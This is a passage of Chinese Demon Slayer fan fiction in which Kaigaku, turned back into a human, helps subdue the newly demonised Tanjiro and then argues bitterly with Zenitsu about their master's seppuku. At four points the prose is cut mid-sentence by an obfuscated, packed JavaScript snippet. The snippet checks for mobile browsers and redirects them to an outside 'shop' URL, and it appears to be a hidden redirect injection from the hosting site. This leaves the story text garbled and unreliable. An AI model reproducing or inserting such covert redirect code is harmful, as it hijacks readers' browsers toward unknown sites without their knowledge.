“月亮看起来灿烂如宝珠,实际上,不过是个遍布环形山脉的巨大岩石。所散发出来的光芒也和月亮本身没关系,只是对太阳无可奈何的反射而已。” 即便月亮自身空虚、荒凉、冰冷又如何? 他将只为他发光。 他将只能为他发光。 “师兄,我要去和无惨战斗了。” 我妻善逸摸了摸狯岳的脸,把他交给隐,拿上愈史郎特制的符纸。 “如果我不能活着回来,你大约不会有什么好下场……所以,一定要为我祈祷啊。” 多亏了珠世夫人和蝴蝶忍的药剂,狯岳才得以从鬼变人。 然而,需要感谢的忍小姐被上弦二杀害,需要感谢的珠世夫人也死去了——他从愈史郎悲痛欲绝的反应中窥见了这件事。 而其他人还在战斗,为了消灭鬼舞辻无惨而拼尽全力。 只差无惨了。只剩无惨了。只要干掉无惨,一切都结束了。 所以,他必须代表爷爷,代表……狯岳,尽力帮忙才行。 为了报答帮助他们的人,为了报答重要的朋友,为了……为了他们自己。 拨乱反正,正本清源。 腿会断没关系,会留下后遗症也没关系。 毕竟一切要结束了。 ……也的确要结束了。 漫长的战斗,从黑夜持续到白天,经过所有人的努力,鬼舞辻无惨在太阳的照射下,灰飞烟灭。 以鬼杀队死伤惨重作为代价。 大量队士沦为炮灰,活下来的柱只有水柱富冈义勇和风柱不死川实弥。值得庆幸的是,灶门炭治郎、嘴平尹之助、栗花落香奈乎都还没死。 我妻善逸对此心存感激。 因为再次使用火雷神和神速,他的腿断得彻彻底底,只能挂在隐身上,衷心感谢神明保佑。 ……但如果真的有神明保佑。 为什么,炭治郎会变成鬼?! 缺失的左臂瞬间长回,人类的瞳孔变成了鬼一样的竖瞳,皮肤会被太阳灼伤…… 可接着又恢复原状。 作为一只鬼,竟然这么快克服了太阳这个弱点! 毫无疑问。 灶门炭治郎,将是继鬼舞辻无惨之后,又一个鬼王。 “能动的人,都拿起武器集合!”拦下附近的隐后,富冈义勇大吼,“在炭治郎杀人之前,把他杀掉!” 这太过分了。 鬼这种生物,实在太赖皮了。 大家都已经筋疲力尽,好不容易才处理掉鬼舞辻无惨,居然又面临新鬼王的诞生,新鬼王居然还是斩杀前鬼王的大功臣—— 难道命运是站在鬼那一边的吗?! 所有人的心态都濒临崩溃。 “明明我们已经这么努力了,明明我们已经解决掉鬼舞辻无惨了!为什么,还必须对炭治郎刀剑相向!” 大部分还能动的人的只有隐,但和隐谈战斗能力? 还不如指望那些伤痕累累的幸存者。 “别天真了。”愈史郎躲在阴影处,冷冰冰地说。“敌人就是这么恶心的东西。你们的努力关他什么事。” 他本想再点评几句,但现场的氛围已经够绝望了,即使是他,也不免收敛了一点。 必须有人去收拾掉灶门炭治郎这个新生的鬼王才行——啧,这家伙,居然还克服了阳光,也太作弊了吧! “喂,醒醒。” 愈史郎摇了摇狯岳的肩膀,然后伸手拍他的脸。 “你这家伙,差不多够了,不要连祢豆子那个小姑娘都比不上啊。要是让……珠世大人,的愿望落空的话,”他顿了顿,“我杀了你哦!” 狯岳……狯岳额角冷汗直冒,像在做噩梦。 也的确在做噩梦。 梦中的他,跪在黑死牟面前,战战兢兢地捧着粘稠的血水。 弄撒一滴都要死,而他不想死,所以像野兽一样将指缝都添得干干净净。 他才不要去死,凭什么他非得去死。 凭什么不如他的人能无忧无虑地活下去,凭什么他的努力要在瞬间化为乌有。 他只知道,他活在这个世界上,绝不是为了在那个晚上去死。 只要他还活着,总有一天他会翻过身来,把曾经欺辱他的混账们踩在脚下。 ——你在与谁为战? 与挡在在他面前的一切,人也好、鬼也好、命运也好。 ——你在为谁而战? 当然是为了自己。难道他还有别的什么人吗? 一个都没有。 桑岛慈悟郎是个偏心弱者的老糊涂,被偏心的弱者是个整天哭哭啼啼的废物。 如果只是哭出来就会没事的话,他当然也可以哭两嗓子。可老师已经死了,一切已经无法挽回。笑和哭的后果没有区别。 所以他只能笑,不能像我妻善逸这个废物,让眼泪模糊视线。虽然看不起那个废物,但他的一之型还是有点东西,如果看错就会败北。 想错了。 他不止有一之型,即使没看错也会败北。 梦中的他,被我妻善逸的七之型,一刀斩断头颅。 现实中的他,捂着自己的脖子睁开眼睛。 “……你摸脖子干嘛?” 愈史郎挑起眉毛,他刚才扇的是巴掌,位置还在脸上,不能理解为什么狯岳护得是脖子。 寻着声音望去,狯岳迅速锁定眼前这只陌生鬼:“你谁?!” “愈史郎。但这不是重点。”阴影中的愈史郎指了指他暴露在阳光下的身体,“重点是,你已经变回人了。” 狯岳这才意识到,自己正沐浴着初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354502|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 升的太阳。 ……并没有多少感动,毕竟他变鬼才没多久,昼伏夜出都还没习惯,还没多怀念太阳,就又被变回了人。 变回人。 变人。 人。 ??? “我妻善逸!”狯岳反应过来,恼火地念着这个名字,“多管闲事的家伙!” “的确。”愈史郎点头。“如果不是他把最后一支变人药浪费在你身上,现在那支药应该用在炭治郎身上,才不枉大家迄今为止的牺牲。” “……什么浪费、不是、什么炭治郎?” “解释起来有些麻烦。”愈史郎顶着狯岳“你敢不解释”的目光继续,“首先,鬼舞辻无惨被讨伐了。” 狯岳:“……” 狯岳:“那上弦一,黑死牟——” “死得更早。” “……” “现在的情况是,灶门炭治郎,临死前被鬼舞辻无惨注入了大量鬼血。他已经是新鬼王了。” “……” “还克服了阳光这个弱点。” “……” “只有解决掉灶门炭治郎,事情才会彻底结束。” “……” “而现在,除了你,鬼杀队已经没有上得了台面的战斗力了。” “……” “……” “……” “去拯救世界吧,少年!” “……谁要管这种事情啊!”狯岳面孔扭曲,难以置信,“醒过来之前我还是鬼!” 醒过来之后就变成了人,还被鬼要求为鬼杀队而战,这也太戏剧了吧?! “不必杀掉炭治郎,把他揍到再起不能,活捉就可以。只要撑到他恢复理智,他应该也不会伤人。” 狯岳转头看灶门炭治郎,只见这位新生的鬼王和一个陌生女孩纠缠在一起,背上长出数条骨鞭,阻止其他人靠近。 不是,什么玩意,嘴巴还能发射光炮的吗?! 神特么把炭治郎揍到再起不能,活捉就可以! 宰了他才更方便吧! “对付不了,告辞。”狯岳心烦意乱,不想冒险。“我现在脑子还乱糟糟的,需要时间调整。” 反正整个鬼杀队自顾不暇,没空管他这个变鬼又变人的叛徒。 不如趁机走掉算了。 “不准。”愈史郎鬼气森森地看着他。“为了珠世大人,你给我支棱起来啊!” “……那又是谁啊?!” “虽然我很想给你详细说明,但现在不是详细说明的时候。” “都说了不关我的事——” “你想逃跑吗?连你的废物师弟都还没逃跑哦。” 话音落下,狯岳还真犹豫了。 其他人都无所谓,就是我妻善逸,只有我妻善逸! “不想让他反过来欠你一个人情吗?甚至能让整个鬼杀队欠你人情呢。只要你把炭治郎救回来,过去的账,一定能一笔勾销。” “……” “虽然产屋敷那边也是一片混乱,联系不上,但我也是鬼,有我这个前例,你不必担心以后。我可以为你担保。” “……” “怎么样,要做吗?” “……” “……” “给我一把刀。” 53.第五十三章 狯岳打炭治郎? 真的假的?! 我妻善逸一脸懵逼地看着一位隐一边嚷嚷着“我妻大人愈史郎大人让我借一下您的刀”,一边把他的刀直接抢走;另一位隐则提前按住了他,解释道: “愈史郎大人让我看着您,请您接下来别说话,不然惹得狯岳大人恼羞成怒就不好了。” 什么话! 他是会乱说话的人吗?! 看着狯岳接过自己的刀和炭治郎打成一团,他感动得一句话都说不出来了好么。 ……不是,即使他不说话,狯岳这不也还是一副恼羞成怒的样子吗? 虽然表面上看着还算镇定,心里已经慌成一团乱麻了呢。 一边嘀咕着“我在干嘛”、“为什么非要用那废物的刀”、“这废物的刀手感居然和原来那把差不多,勉强能用”,一边时不时插入自暴自弃的想法,比如,“好恶心的视线”、“这些人不知道我是叛徒吗”、“要不把所有人都干掉算了”,等等。 也太危险了吧! 好在雷之呼吸的速度够快,除了拥有作弊般听力的我妻善逸,其他人都看不出他的犹豫和破绽。 更别说只凭本能保护自己和妹妹的灶门炭治郎了。 虽然刚开始咬了灶门祢豆子一口,但接下来,他完全没打算把这块送到嘴边的肉吃掉。 “既然还有自己的意志的话,”狯岳不耐烦地挥着刀,“就快点恢复理智,自己收拾这个烂摊子!” 回应他的,是一声毫无理性的嘶吼。 对付灶门炭治郎不算太难,狯岳一不是富冈义勇,遍体鳞伤动作变形;二不是嘴平尹之助,情谊深厚不舍下手。 难的是避免在切割灶门炭治郎的时候伤到灶门祢豆子,这女孩实在太碍事了。 “你谁啊!”见狯岳毫不犹豫地砍掉灶门炭治郎的胳膊,将灶门祢豆子粗暴地拉出来,嘴平尹之助骂骂咧咧:“你这么强,也是柱吗?为什么现在才冒出来帮忙!” 狯岳:“……” 狯岳:“呵呵,因为我不是什么好人!” 说完,就把灶门祢豆子丢给他,继续对着灶门炭治郎砍砍杀杀。 他倒是想直接把灶门炭治郎斩首算了,但是这家伙连不能被阳光照射的弱点都克服了,想必斩首也不是什么特别难克服的障碍。 ……的确不是。 看着脑袋掉了之后又迅速长回来的灶门炭治郎,狯岳响亮地“啧”了一声。 不是因为灶门炭治郎长回来了,而是因为在砍掉他脑袋的时候,好几个人发出了不忍的惊呼,其中我妻善逸那肮脏的高音最让人恶心。 “闭嘴!吵死了!”他头也不回地骂,“看不惯的话,自己来啊!” 然后我妻善逸就被旁边的隐捂住嘴,物理消声。 我妻善逸:…… 就指着声音同样很大的嘴平尹之助、村田等人,比比划划。 隐看懂了:“愈史郎大人说了,只有你会让狯岳大人火大。” 我妻善逸:^=_=^。 我妻善逸:行吧。 老实说,不光狯岳脑袋里一团乱麻,他自己也五味杂陈。 原来,只要有这样一管药剂,把狯岳变回人,狯岳就可以走回正道,回到他身边来的吗? 居然这么简单? 那爷爷,是为了什么而死? 那他,又是为了什么要恨呢? 一想到这里,他就感到头脑眩晕,眼前一阵阵发黑。 如果……他那天没有听进炭治郎的话,就不会找忍小姐询问把鬼变成人的可能性。 如果,他没有多此一问,就不会知道变人药的开发已经完成。 如果,他没拿到多余的变人药,在面对狯岳的时候…… 不就,只能杀了他吗?! 好像做梦一样,胸中产生了遥远而麻木的感觉。只有腿上持续不断的钝痛反复提醒他,他还在现实当中。 “喂,那边的,”他看见狯岳吩咐空闲的隐,“把悲鸣屿的锁链拿过来!” 万幸,野兽般的灶门炭治郎,不懂什么叫做断尾求生,骨鞭也不会换个地方长。 所以锁链捆住他的四肢,他就无法逃窜;一刀穿过他的肋下,把他从正面钉在地上,骨鞭就难以蓄力,像章鱼脚一样乱颤,方便嘴平尹之助一一砍断。 他舍不得砍灶门炭治郎的身体,但对骨鞭这种畸变产物,就没什么舍不得了。 “现、现在要怎么办?”灶门祢豆子扑到还在凭本能挣扎、嘶吼的灶门炭治郎身边,眼泪簌簌往下掉,“要、要处死哥哥吗?” 把膝盖顶在灶门炭治郎胸口上、防止他暴起的狯岳没好气地说:“那也得杀得了他才行。” 灶门祢豆子:…… 灶门祢豆子:哥哥好像是有点难杀。 砍头不会死、晒太阳不会死,还能怎么杀? 只有同时摧毁鬼舞辻无惨留给他的7颗心脏5颗大脑了。 至于这些心脏和大脑在哪里? 没有开通透世界的富冈义勇和不死川实弥:他们不知道啊。 “……还是先找材料把炭治郎关起来吧。”愈史郎吩咐其他隐,“所有人,去找锁链!” 负责让我妻善逸闭嘴的隐也在其中,于是得到自由的我妻善逸呜咽几声,想要爬过来,却被狯岳第一时间大声喝止: “滚远点!” “为什么啊?!你都没让小祢豆子走开!” “她说不定能唤回这家伙的神志,你能做什么,给他哭坟吗?!” “太过分了,我是炭治郎的朋友!说不定能起点作用的!” 嘴平尹之助像发现了新大陆一样,看了看狯岳,又看了看我妻善逸:“纹逸,你们认识?” 话音落下,我妻善逸没有回答,狯岳更不会理他。 沉默,沉默是难言的表达。 于是氛围显得极为沉重,重到不明所以的外人们纷纷起了鸡皮疙瘩。 我妻善逸痴痴地看着狯岳,狯岳一如既往没在看他,只目光专注,落在正被他竭力控制的灶门炭治郎身上。 狯岳总是这样,看着别人,看着前方,做自己想做的事,从不管他怎么想。 这样的狯岳,看起来又可靠又沉稳,实在难以想象,数个小时前的他,还是只精神错乱的鬼。 没错,绝对是精神错乱了。 听说人在变成鬼后,会性情大变,狯岳也一定是这样。 他那时候的言行,一定不是他的真心话。 眼前光彩夺目,令人移不开眼的他,才是真正的他。 一定是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357091|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 ……必须是这样。 “喂,你们到底——” 但狯岳突然出声,打断嘴平尹之助的话: “愈史郎,你那里还有什么对鬼起作用的药吗?” “现在没有。” “真没用。” “轮不到你来说!我没有珠世大人和蝴蝶忍那样的才能,无法段时间内完全复现变人药。但只要给点我时间,还是有办法的好吧!” “是吗?可我不打算陪你们耗在这里。” “等一下,你——” 不等其他人做出反应,狯岳把胳膊往钉住灶门炭治郎的刀上一蹭,血液淌了出来。 然后,他把胳膊递到了灶门炭治郎的嘴边。 “你干什么?!” 富冈义勇急了,扑过来想要阻止,但被狯岳一个肘击,打中胸口。 “当然是喂他。”狯岳冷冷道,“只要他吃饱了肚子,就能恢复理智。你们难道不相信恢复理智的他吗?” 富冈义勇:“……” 富冈义勇:“…………” 富冈义勇:“是哦。” ——真是太容易被说服了呢,这位水柱大人。 嘴平尹之助困惑地挠头:“只喝血就可以吗?” 狯岳秒答:“可以。” “你怎么知道?” “我有经验。” 我妻善逸:^=_=^。 我妻善逸:神特么有经验! 变鬼之后的经验是吧?! 他还担心嘴平尹之助会继续追问,但这位小伙伴不喜欢思考,顺着狯岳的话继续: “哦哦,那我也——” “不行,先用我的血,再用……你是祢豆子?” 灶门祢豆子点了点头:“是的。” “再用你的。” “好。” 嘴平尹之助不解:“为什么啊?!祢豆子的血肯定比我的少!” “我和她都用了变人药,说不定药效还在,所以先用我们的血。” “哦哦……啊?!” ——说出来了。 居然就这么说出来了?! 我妻善逸吃惊地看着狯岳,看着他云淡风轻地自揭疮疤。 而嘴平尹之助又挠头:“你之前,和弥豆子一样?” 狯岳竟然回答了:“不太一样。” 奈何嘴平尹之助脑回路不似常人,他只又“哦哦”了两声,表示知道了,并提醒狯岳:“你不能再放血了,再放会很危险。” 还挺起胸膛:“这是我的经验!” 狯岳就从善如流地给自己止血,让灶门祢豆子继续。 我妻善逸:^=_=^。 ……不是,凭什么啊?! 为什么狯岳居然能和嘴平尹之助这只野猪好好说话啊?! 和嘴平尹之助好好说话的狯岳,看起来像是嘴平尹之助的师兄一样。 “请……请帮帮我,”我妻善逸额角迸出青筋,一把抓住路过的隐,“请帮忙把我扶过去,谢谢。” “唉?!”隐吃惊地摇头,“可是,那边还不够安全,万一炭治郎又暴走的话,大家会,会死的!” “那也没关系,”我妻善逸死死盯着狯岳,“如果真的要死,我也要和师兄死在一起。” 54.第五十四章 ——那当然是没有死在一起。 虽然失去了不少血,但狯岳为人谨慎,牢牢控制着灶门炭治郎,一度放弃了分心去瞪靠过来的我妻善逸;而我妻善逸得寸进尺,竟然拖着断腿帮忙给狯岳处理伤口,在绷带末端打了个蝴蝶结。 蝴蝶结! 还不止一个! 这废物是在干什么? 也完全不是帮他擦汗的时候吧! 稍有变故,可是会死人的! 狯岳忍了又忍,实在忍不住,在我妻善逸的脑袋上重重敲了个暴栗。 “好痛!”我妻善逸抱着脑袋,“太重了!” “痛死你得了,谁让你非要凑过来找揍。” “可我是为了帮忙吔!” “不需要,你闭嘴就帮大忙了。” “炭治郎也一定更愿意听到我的声音!” “实在难以想象,什么人会喜欢听尖叫鸡的声音。” “乱讲!快看炭治郎,他是不是老实了很多?” “怎么……可能?” 狯岳话说一半,露出了惊讶的表情。 好不容易走到这一步,或许连神明也看不下去,于是降下了恩赐: 在灶门祢豆子的血流尽之前,灶门炭治郎闭上眼又睁开,露出一双属于人类的瞳孔。 至于接下来众人如何慌乱地把刀从他肋下拔出、检查他会不会留下后遗症,就不必赘述了。 值得高兴的是,检查结果很乐观。 除了肋下的贯穿伤,身体上的伤尽数康复,连斑纹的后遗症都消失,大约是因为一度成为鬼王,什么弱点都克服,身体被调整到了巅峰状态的缘故吧。 而肋下的贯穿伤,也因为类似的缘故,并没有伤到重要的神经和血管,一定能完全康复。 倒是我妻善逸,因为两次火雷神和神速的使用,断得非常彻底。 尤其是右腿,被过度透支,以后很可能,会不良于行。 “那么,狯岳先生,善逸就拜托您了。” 神崎葵和女孩子们把手术完的我妻善逸搬回病房,眼神游移。 “因为事务繁多,”她瞟一眼情绪低落的我妻善逸,“我们先告辞了!” 狯岳:^=_=^。 狯岳:事务再多,哪有医生把伤员交给另一个伤员照顾的啊喂?! 是的,狯岳也受了伤,肋骨断了好几根,加上失血过多,正躺在病床上养伤。 虽然灶门炭治郎变鬼没多久,但鬼王就是鬼王,打起人来相当生猛。 如果不是经历过黑死牟的血虐,他根本应付不过来。 不过,他的伤,比起我妻善逸的伤,实在微不足道就是了。 和莫名盯着他的我妻善逸对视一阵,狯岳“啧”了一声,把脑袋转到一边。 如果不是伤情不允许,他甚至想背过身去。 而我妻善逸忽然又开始掉眼泪,没有扯着嗓子大声嚎,和平时的他,两模两样。 ……虽然比较安静,但微微的啜泣声连绵不绝,还是听得他满心烦躁。 换病房,他要换病房! 谁都好,拜托跟他换! 才想到这里,我妻善逸就又忍不住吸了吸鼻子——呵呵,一定是听到了什么不好听的吧。 不想听难听的心声,倒是别粘着他啊! 到底,还是狯岳没忍住: “喂,”他烦躁地扔过去一个枕头,“别哭了!” 我妻善逸抱住枕头,顿了顿,欲言又止,止言又欲,终于还是说出了口: “可是,我好疼啊。” 废话,你腿断了,还是两条。 “她们说,我以后走路会一瘸一拐。” 这样一来,雷之呼吸也用不了了吧。 这倒是可喜可贺。 不过,鬼舞辻无惨死了,鬼杀队没用了,雷之呼吸还有什么用? 白道的话,开道场?□□的话,当打手? 听起来就没什么前途,呵呵。 “我……以后该怎么办?” 谁知道。 “你在听吗,师兄?” ……啥玩意? “你在说什么鬼话?!”狯岳终于应声,“不是说,不把我当师兄了吗?” “可你已经不是鬼了,所以。” 因为变成了鬼,所以不是师兄。 因为变回了人,所以还是师兄。 那些莫名其妙的举动都有了解释,这家伙,竟然在,对他撒娇?! 明白之后的狯岳,几乎要佩服我妻善逸了。 都到这种地步了,这家伙竟然还没看清现实吗? “喂,善逸。” “什么?” “人也好,鬼也好,我,始终是我。”狯岳冷冷地阐述事实。“你该不会,打算把我分成两个人吧?” 话音落下,我妻善逸的表情凝固了。 接着,他垂下眼帘,声音抖了起来:“师兄,你不是自愿变成鬼的吧。大约,大约是像炭治郎那样,逼不得已……” “哟,还在给我找理由啊。” “……” “……” “你,你变回人之后,马上帮忙,救回了炭治郎。炭治郎、炭治郎,是我的好朋友。我真的很感激,你能——” “别自作多情了,”狯岳打断他的话,“这是交易。” “……什么交易?” “只要我帮忙阻止新鬼王的诞生,和鬼杀队之间的烂账就可以一笔勾销。” “……” “很讽刺吧,我这样的烂人,只要在最后关头做一点好事,就能洗白上岸,逍遥法外。” “……” “当然,事情不一定会这么顺利。虽然我不觉得我欠了鬼杀队的,但产屋敷不一定会同意这一点。帮派对于背叛的成员,向来是要赶尽杀绝的。” 话音落下,我妻善逸欲言又止。 狯岳还以为他会说什么“鬼杀队又不是不讲道理的帮派”这种话。 这家伙,总算有了点长进,不会发表这么愚蠢的感言。 鬼杀队是产屋敷用钱豢养的私兵,是披着大义表皮的打手。所有规则由付钱的人制定——这一点无可厚非,但认为所有规则都神圣不可侵犯,就是另外一回事了。 毕竟,鬼杀队招新的时候可不会做意志检定,只要愿意杀鬼,他们都来者不拒。 要知道,杀鬼是个要用命来填的事业,垃圾的命也是命,也可以用来燃烧发电。 至于人品不好,临阵叛变? 有多少队士能倒霉催地,既遇到了上弦、又合他们的眼缘,不被第一时间干掉呢? 根本没几个好吧。 寥寥数人中,还有人天生适应不了鬼血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360478|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转化失败而死呢。 因为所以,这种风险,完全可以忽略不计。 毕竟,为了达到目的,产屋敷并不在乎队士们的死活。 不然,藤袭山那见了鬼的选拔是怎么回事? 一点保护措施都没有,美其名曰试炼,实际上就是拿培育师数年的心血喂鬼。 明明是产屋敷先不做人的,却还要求他舍生取义,开什么玩笑。 就算要死,他也得为了自己去死才行。 为了别人去死这种事情,绝对不要。 “我说,”狯岳歪了歪头,“你到底还在妄想什么?就算我如你所愿,不是自愿变成的鬼、还能被分成两个人看待,事到如今……呵呵。” 他盯着我妻善逸的眼睛,笑了笑。 “老头子难道还能复活过来吗?” 话音落下,我妻善逸一句话都说不出来。 这才是关键所在。 难道我妻善逸就在乎什么大义吗? 别开玩笑了,这个哭哭啼啼、感情用事的家伙,从来只在乎自己那点小心思。 仗着有点天赋,被老头子看重,所以得过且过、一点上进心都没有。如果不是老头子突然死掉,恐怕根本没勇气站在他面前。 “还记得自己说了什么吗?老头子是切腹自尽,还没有找介错人——” “……别说了。” “你不想听?行啊。”狯岳扯起嘴角,此刻的表情,和在无限城里的恶鬼模样重叠,“难道我说出来,你就能感同身受?你的听力已经进化到这个地步了吗?真厉害!听你说的时候,我可没法感同身受。” 话音落下,我妻善逸的表情可太精彩了。 恨意和痛苦出现在那张自以为是的脸上,一副幻想破灭,天都要塌下来的模样。 “看看现在,看看你自己,看看我!”狯岳点了点太阳穴的位置,“再想一想,老头子的自杀,有什么意义?” 一点意义也没有。 明明只要活着,就能看到转机,但那老头子偏要自己去死。 “别说了!” 我妻善逸打断他的话,发出一声痛苦地呜咽,用枕头闷住自己的头,简直像要把自己闷死似的。 但狯岳不打算放过他,他没有特意拔高腔调,他知道我妻善逸听得到: “我还想问呢,老头子为什么会切腹自尽?”他顿了顿,“我想来想去,最后还是觉得……” 连我妻善逸都能找来变人药,尝试挽回,怎么老头子就一条道走到黑了呢? 为什么这么轻易抛弃自己的生命? 为什么要用生命来指责他的苟活? “果然,是老糊涂了吧?” 话音落下,我妻善逸把枕头扔了过来。 “不许这样说爷爷!”他眼睛里像是有火在烧,“你怎么会不明白,爷爷是为了你才——” “换个说法也可以。” 狯岳打开枕头,任由枕头掉在地上,滚到一边。 “那个老头子,是后悔了吧。” “……什么?!” “后悔收我为徒,后悔自己看错了人。所以才那么自责,要用痛苦的死亡洗刷自己过去犯下的错误。” 狯岳收敛起笑意,像是想通了什么,眉目舒展开来,看起来平静又坦然。 “老师是希望我去死的,善逸。” 55.第五十五章 这样就说得通了。 桑岛慈悟郎是鬼杀队的鸣柱,是培育师,他培育的弟子十有八九会沦为鬼的口粮。 做他的弟子,要么实力不济早早被鬼吃掉,要么实力不错晚点被鬼吃掉,鲜有善终——至于缺胳膊断腿算不算善终,还有待商榷。 总之,他早就做好了弟子死在鬼手里的准备。 就是没做好弟子变成鬼的准备。 所以他接受不了,他情愿弟子直接去死。杀不了弟子就只好杀了自己。 还特意用了那么痛苦的方式,证明给所有人看,他还是忠诚的,他还是清白的,只是门下出了一个败类而已—— “道歉!给爷爷道歉!”我妻善逸气得不哭了,“你自己是人渣,不要以为爷爷也和你一样!他才不会希望你去死!” ——你又不是他。 狯岳本想这么说,但摸了摸下巴,没有说出口。 也不必说出口。这家伙听得到。 他冷静地打量面前的我妻善逸,就见他气得更厉害了,竟有股说一不二的气势,比之前哭哭啼啼的样子像样多了。 真奇妙,想通之后,连这废物,看起来都顺眼了一点。 而我妻善逸还在继续:“爷爷不是那样的人!他喜欢你,他一直让我跟你学,希望我能像你一样!他不可能会希望你,希望你死掉!” 话音落下,他大口喘着气,似乎连腿上的痛苦都感觉不到,只要狯岳给他一个说法。 ——行吧。 狯岳撑着胳膊爬起来,坐到我妻善逸的床边。 ——就给他一个说法。 他在我妻善逸的脑门上点了一下,于是我妻善逸就稀里糊涂地躺了回去。 “……狯、狯岳?” “还想要你的腿的话,接下来,不要乱动了。” “可是——” “即便你说得是真的,可老师喜欢我,和希望我去死,难道是什么不能并存的想法吗?” 我妻善逸:“……” 我妻善逸:“…………” 我妻善逸:“唉?” 他呆愣地看着狯岳,和他那只傻乎乎的麻雀一模一样。 “很难理解吗?我想想,”狯岳歪了歪头,“比如……我一直以来,都很讨厌你。” “……我知道。” “所以,你也讨厌我。” “……没有。” 其实有。 他讨厌过狯岳,因为讨厌……狯岳讨厌他。 狯岳没打算讨论这个,他只继续道:“所以,在老师死后,你本打算杀了我。” ……这倒是真的。 可是,可是,那只是一开始! 刚得知爷爷的死讯之时,他被悲伤冲晕了头脑而已…… 他绝不是真的想狯岳去死。 “你讨厌我,却希望我活着,为了你那过家家游戏,居然能做到这一步,这一点,的确让人刮目相看。” ——不对,不对! 我妻善逸感到一阵巨大的恐慌。 他喜欢他啊,他当然,当然希望他活着!爷爷,爷爷也一定是一样的! 狯岳这样心平气和地同他说话固然很好,可为什么,像是在和爷爷划清界限一样? 不然,他在说这种话的时候,为什么又恢复了尊敬的口气,好好叫爷爷“老师”? 他隐约猜到了答案,但他宁愿自己猜不到答案。 “没有介错人的切腹自尽是很漫长的,老师有足够的时间思考自己在做什么。” 狯岳的声音像钻头一样,从耳朵钻进来,扎穿他的心脏。 “如果像你说得那样,他还喜欢我,那就意味着,他在用自己的痛苦惩罚我。”狯岳顿了顿,“他认为我还活着是个错误,这就是他对我的裁判结果。” “……” “……” “爷爷……不会的。”我妻善逸也不知道自己在反驳什么。“不对。一定不是这样。” 用伤害自己来惩罚别人,实在是蠢透了。 会被惩罚到的,只有还在乎他的人。 而狯岳看起来…… 越来越不在乎了。 不用说出口,我妻善逸就已经明白: 既然桑岛慈悟郎已经背过身去。 那他更不必回头。 “但就像我之前说的那样,我不认为这是我的责任。”狯岳重申。“自杀这种事情……蠢透了。” ——所以,你其实也为爷爷感到难过吗? 我妻善逸拼命要看清狯岳的表情,但他的脸庞被阴影笼罩,完全看不清。 什么?还有心声? 狯岳的心声一向尖锐又嘈杂,接连不断的雷鸣掩盖住了所有细小而真实的想法。 事到如今,我妻善逸承认。 哪怕听得到心声,他还是搞不懂他。 “你……” 我妻善逸想说些什么,但他不知道自己该说些什么,总觉得自己不管说什么,都词不达意。 “你……” 他想说些振聋发聩的话,想表现得又犀利又成熟,这样说不定能改变狯岳的想法。 但他好像,连自己的想法都搞不清楚。 到底,也只憋出一句疑问: “你……你为什么,会变成鬼?” 话音落下,狯岳的额角迸出青筋,原本还算平和的情绪立刻被挑出火气。 “我好声好气和你说几句话而已,不要蹬鼻子上脸,以为我会有问必答!” 又来了! 只要是关于自己的事情,这家伙一句话也不想多说。 我妻善逸不服:“你都说了这么多了,为什么还不肯告诉我这个?!” “你为什么抓着不放?” “因为我有病。” “……” “脑子有病,行了吧?!” 话音落下,狯岳用难以形容的表情看他,又困惑又嫌弃还有几分无可奈何。 他沉默片刻,终于大发慈悲,顺着我妻善逸挑起的话题继续: “你为什么一直想知道,我为什么会变成鬼?” “因、因为……” 看我妻善逸结巴了半天都没说出来,狯岳按了按眉心,深呼吸,把条件反射般腾起的怒火压下: “我觉得结果比较重要,所以我不明白,你为什么那么在乎原因。” “……原因当然重要啊!如果事出有因,变成鬼这种事就不是你的错,这样我就可以,可以、可以……” “即使老师切腹死掉了,也能毫无愧疚地把我拉回来?” “……” “……” “……对。” “吃没吃人也很重要。” “对……对不起。” “为什么?” “炭治郎说,你闻起来,没有吃人。只像愈史郎那样,有血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364151|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道。” “所以,你还当我是师兄。” “……嗯。” 我妻善逸以为狯岳的态度软化了,但听到的下一句话,却让他心里一凉: “果然,你的善意,也是有前置条件的啊。” “……唉?” 